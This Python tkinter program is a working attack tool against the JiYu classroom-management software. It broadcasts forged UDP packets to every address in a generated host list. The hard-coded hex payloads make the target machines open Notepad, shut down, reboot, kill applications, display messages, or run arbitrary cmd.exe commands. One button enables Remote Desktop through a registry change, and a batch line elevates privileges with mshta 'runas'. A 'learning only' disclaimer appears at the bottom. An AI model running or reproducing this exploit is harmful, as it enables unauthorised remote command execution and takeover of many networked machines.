import tkinter as tk
import socket
def send_hack():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if v.get() == 1:
payload = "444d4f43000001006e030000d105ef0f2ea4524fa811eb311b859236204e0000c0a803fe610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c004e004f00540045005000410044002e0045005800450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000"
elif v.get() == 2:
payload = "444d4f43000001002a020000ae405669f33bab44b41006b4ee978d2b204e0000c0a803fe1d0200001d0200000002000000000000140000100f00000001000000000000005965085e065c7351ed95a8608476a18b977b3a670230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
elif v.get() == 3:
payload = "444d4f43000001002a02000041d71dd603610f4db08d89c5aaa2b501204e0000c0a814841d0200001d0200000002000000000000130000100f00000001000000000000005965085e065ccd912f54a8608476a18b977b3a670230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
elif v.get() == 4:
payload = "444d4f43000001002a02000022a5fc1805afff4680b30072ccdbdd41204e0000c0a814841d0200001d0200000002000000000000130000000f0000000100000000000000d19ea25b065ccd912f54a8608476a18b977b3a670230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
elif v.get() == 5:
payload = '444d4f43000001002a020000219362685cfc1743846d5cc258953aa9204e0000c0a814841d0200001d0200000002000000000000020000000f0000000100000000000000d19ea25b065c7351ed95a8608476945e28750b7a8f5e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
payload_bytes = bytes.fromhex(payload)
f = open("host.txt", "r")
lines = [line for line in f]
for line in lines:
ip = line.strip()
print(ip)
udp_socket.sendto(payload_bytes, (f"{ip}", p.get()))
print('命令执行完成!')
udp_socket.close()
def send_message():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bian = data.get().encode('unicode-escape')
ack =str(bian)
ack = ack.split(r'\\u')
del ack[0]
send_payload = ""
for i in ack:
send_payload += i[2] + i[3] + i[0] + i[1]
payload = f'444d4f43000001009e030000dc79fabb169ec04ca009db380f7f34ee204e0000c0a803fe9103000091030000000800000000000005000000{send_payload}00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
payload_bytes = bytes.fromhex(payload)
f = open("host.txt", "r")
lines = [line for line in f]
for line in lines:
ip = line.strip()
print(ip)
udp_socket.sendto(payload_bytes, (f"{ip}", p.get()))
print('消息已发送完成!')
udp_socket.close()
def send_cmd():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s=cmd.get()
s_hex = ""
for i in range(len(s)):
if i == ' ':
s_hex += '20'
s_hex = s_hex + hex(ord(s[i]))[2:] + "00"
payload = f'444d4f43000001006e0300008e44dcfa94cc8a4ba5fffa49b0caa95f204e0000c0a81484610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e0065007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f006b002000{s_hex}00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000'
payload_bytes = bytes.fromhex(payload)
f = open("host.txt", "r")
lines = [line for line in f]
for line in lines:
ip = line.strip()
print(ip)
udp_socket.sendto(payload_bytes, (f"{ip}", p.get()))
print('命令已发送完成!')
udp_socket.close()
def saomiao():
zj_list =srip.get()
print(zj_list)
qg_list = zj_list.split('.')
print(qg_list)
for i in range(1,255):
with open('host.txt', 'a') as f:
yz_list = str(qg_list[0]),str(qg_list[1]),str(qg_list[2]),str(i)
ip_list = ''
ip_list = yz_list[0]+'.'+yz_list[1]+'.'+yz_list[2]+'.'+yz_list[3]
f.write(ip_list+'\n')
f.close()
import tkinter.messagebox
tkinter.messagebox.showinfo('一键生成', '生成完成!已在当前目录下创建host.txt文件!')
def jcgx():
import tkinter.messagebox
tkinter.messagebox.showinfo('检查更新', '最新版软件下载网址:www.lenglin.xyz 店铺公告中!')
def kq_yczm():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s = '''REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'''
s_hex = ""
for i in range(len(s)):
if i == ' ':
s_hex += '20'
s_hex = s_hex + hex(ord(s[i]))[2:] + "00"
payload = f'444d4f43000001006e0300008e44dcfa94cc8a4ba5fffa49b0caa95f204e0000c0a81484610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e0065007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f006b002000{s_hex}00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000'
payload_bytes = bytes.fromhex(payload)
f = open("host.txt", "r")
lines = [line for line in f]
for line in lines:
ip = line.strip()
print(ip)
udp_socket.sendto(payload_bytes, (f"{ip}", p.get()))
print('命令已发送完成!')
def lx_kfz():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s = '''%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit cd /d "%~dp0"
@echo off
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'''
s_hex = ""
for i in range(len(s)):
if i == ' ':
s_hex += '20'
s_hex = s_hex + hex(ord(s[i]))[2:] + "00"
payload = f'444d4f43000001006e0300008e44dcfa94cc8a4ba5fffa49b0caa95f204e0000c0a81484610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e0065007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f006b002000{s_hex}00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000'
payload_bytes = bytes.fromhex(payload)
f = open("host.txt", "r")
lines = [line for line in f]
for line in lines:
ip = line.strip()
print(ip)
udp_socket.sendto(payload_bytes, (f"{ip}", p.get()))
print('命令已发送完成!')
# udp_socket.close()
root = tk.Tk()
root.title("冷麟极域课堂反控制程序") # 窗口标题
root.geometry("820x655+550+280") # 第一个值为窗口内部至左边框的距离,第二个参数为上边框至下部的距离,第三个参数为左边边框与屏幕的距离,第四个参数为上边框与屏幕的距离
tishi_1 = tk.Label(root, text='冷麟极域课堂反控制程序V3.0', bg='blue', fg='red', font=('黑体', 30)).place(x=150, y=15)
# 操作功能选项区域
tk.Label(root, text='请选择需要操作的功能:',font=('楷体',24),fg='blue').place(x=220,y=65)
v = tk.IntVar() # 设置关联变量
v.set(1) # 默认选打开记事本
open_notebook = tk.Radiobutton(root, text='打开记事本', variable=v,value=1,font='微软雅黑',fg='red').place(x=50,y=105)
shutdown = tk.Radiobutton(root, text='关机', variable=v, value=2,font='微软雅黑',fg='red').place(x=190,y=105,)
cq = tk.Radiobutton(root, text='强制重启', variable=v, value=3,font='微软雅黑',fg='red').place(x=280,y=105,)
ts_cq = tk.Radiobutton(root, text='提示重启', variable=v, value=4,font='微软雅黑',fg='red').place(x=395,y=105,)
kill_yycx = tk.Radiobutton(root, text='关闭所有应用程序', variable=v, value=5,font='微软雅黑',fg='red').place(x=515,y=105,)
# 版本选择区域
p = tk.IntVar()
p.set(4705) # 设置默认选项为2016版本
tk.Label(root, text='请选择极域课堂的版本(必选):',font=('楷体',18),fg='blue').place(x=10,y=140)
banben =tk.Radiobutton(root,text='2016版本',variable=p, value=4705,font=('微软雅黑',14),fg='red').place(x=460,y=140,)
banben_2 =tk.Radiobutton(root,text='2021版本',variable=p, value=4988,font=('微软雅黑',14),fg='red').place(x=580,y=140,)
banben_3 = tk.Radiobutton(root,text='2010版本',variable=p, value=4605,font=('微软雅黑',14),fg='red').place(x=335,y=140,)
# 确认执行区域
queren = tk.Button(root,text='执行',font=('楷体',30),fg='green',command=send_hack).place(x=700,y=106)
# 一键扫描
srip = tk.StringVar()
tk.Label(root, text='请输入生成的网段(192.168.20.0/24):',font=('楷体',18),fg='blue').place(x=10,y=190)
send_ml = tk.Entry(root, show=None,textvariable=srip,font=('楷体', 16)).place(x=425, y=190,height=40,width=200)
saomiao = tk.Button(root,text='一键生成',font=('楷体',26),fg='red',command=saomiao).place(x=640,y=180)
# 发送消息区域
data = tk.StringVar()
tk.Label(root, text='发送信息模块(仅支持中文):',font=('楷体',18),fg='blue').place(x=10,y=245)
tk.Label(root, text='2010版不支持!',font=('楷体',18),fg='blue').place(x=70,y=280)
send_data = tk.Entry(root, show=None,textvariable=data,font=('楷体', 20)).place(x=35, y=320,height=100,width=220)
send = tk.Button(root,text='发送',font=('楷体',30),fg='green',command=send_message).place(x=90,y=425)
tishi_5 = tk.Label(root, text='2021版不支持关闭极域!', bg='blue', fg='red', font=('黑体', 16)).place(x=262, y=280)
fan_kui = tk.Button(root,text='关闭极域',font=('楷体',24),fg='blue',command=lx_kfz).place(x=310,y=315)
yczm = tk.Button(root,text='开启远程桌面',font=('楷体',24),fg='blue',command=kq_yczm).place(x=280,y=378)
jc_gx = tk.Button(root,text='检查更新',font=('楷体',24),fg='blue',command=jcgx).place(x=310,y=440)
# 系统命令区域
cmd = tk.StringVar()
tk.Label(root, text='系统命令模块:',font=('楷体',18),fg='blue').place(x=510,y=280)
send_ml = tk.Entry(root, show=None,textvariable=cmd,font=('楷体', 20)).place(x=515, y=320,height=100,width=258)
send_2 = tk.Button(root,text='发送',font=('楷体',30),fg='green',command=send_cmd).place(x=585,y=425)
# 注意事项
tishi_2 = tk.Label(root, text='请在此目录下创建一个host.txt文件存放目标ip!一键生成只支持24位掩码!', bg='yellow', fg='green', font=('黑体',16)).place(x=40, y=510)
tishi_4 = tk.Label(root, text='一行一个,不要有空格!每个模块15秒可执行一次!', bg='yellow', fg='green', font=('黑体', 16)).place(x=148, y=540)
tishi_3 = tk.Label(root, text='此软件仅用于学习交流使用!不得用于任何非法或恶意破坏使用!', fg='red', font=('黑体', 20)).place(x=1, y=575)
tishi_7 = tk.Label(root, text='造成的后果由使用者自行承担!与软件开发者无关!', fg='red', font=('黑体', 20)).place(x=80, y=610)
root.mainloop()